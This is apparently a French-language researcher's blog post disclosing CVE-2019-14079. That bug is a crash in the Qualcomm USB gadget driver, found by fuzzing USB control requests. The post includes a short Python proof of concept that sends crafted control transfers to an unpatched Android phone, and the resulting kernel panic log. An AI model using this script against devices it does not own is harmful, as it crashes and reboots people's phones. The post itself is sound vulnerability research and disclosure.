parallelbeings/cve-2019-14079USB device fuzzing on Android Phone
Cet article de blog concerne un simple bogue que j'ai trouvé dans mon appareil Android (MI A2 - fonctionne sous Android stock) en utilisant le fuzzing de périphériques USB et qui a été marqué comme de haute sévérité par Google. Le bogue se trouvait dans le pilote USB Qualcomm, qui a ensuite été corrigé et divulgué dans le bulletin Android de mars 2020. À propos de la vulnérabilité, lorsque vous envoyez des requêtes USB conçues à votre téléphone Android, cela fait planter le noyau Android et votre téléphone redémarre.
Ce bogue était dû à une variable non initialisée utilisée dans le gadget USB 'core.c'. Les détails sur la vulnérabilité peuvent être trouvés dans l'avis de sécurité Qualcomm ci-dessous et le bulletin Android de mars 2020.
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
Les téléphones Android prennent en charge les modes appareil et hôte. En mode appareil, vous pouvez connecter votre mobile à un PC à l'aide d'un câble USB et partager des images, de la musique de votre téléphone vers le PC avec différents modes de connectivité USB (comme uniquement la charge, MTP). En mode hôte, vous pouvez connecter un casque, une clé USB à l'aide d'un câble OTG où vos appareils agissent comme un client et votre téléphone Android agit comme un hôte.
La vulnérabilité a été trouvée en randomisant simplement les paramètres de contrôle USB tels que bmRequestType, bRequest, wValue(bDescriptortype:DescriptorIndex), wIndex et wLength et en les envoyant à l'appareil Android. En envoyant une séquence de requêtes de contrôle de l'hôte Linux vers Android (comme vu dans le script ci-dessous), le pilote du périphérique USB dans le téléphone les analyse et provoque une panique du noyau.
Vous pouvez consulter la vidéo ci-dessous pour comprendre l'aperçu de l'USB et le fuzzing par Andrey Konovalov à l'Offensive-con 2019 ainsi que les bases du protocole USB : USB 101 : Une introduction à Universal Serial Bus 2.0.
https://www.youtube.com/watch?v=1MD5JV6LfxA
Chipsets affectés : APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
Étapes pour reproduire cette vulnérabilité si vous n'avez pas mis à jour votre téléphone avec le correctif Android de mars 2020.
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
De plus, les logs de plantage n'expliquent pas la raison du plantage. Je prévois donc d'ajouter KASAN à la build dans mon nouveau Pixel et d'améliorer mon fuzzing d'appareils avec des techniques d'instrumentation appropriées, comme la surveillance des logs pour les plantages pendant le fuzzing. De plus, libusb ne permet pas d'émettre de grandes requêtes de contrôle et elles sont souvent tronquées. Je prévois donc d'essayer avec l'exemple de Kate Temkin (fusee_gelee) d'utiliser ioctl pour émettre des commandes directement au pilote USB.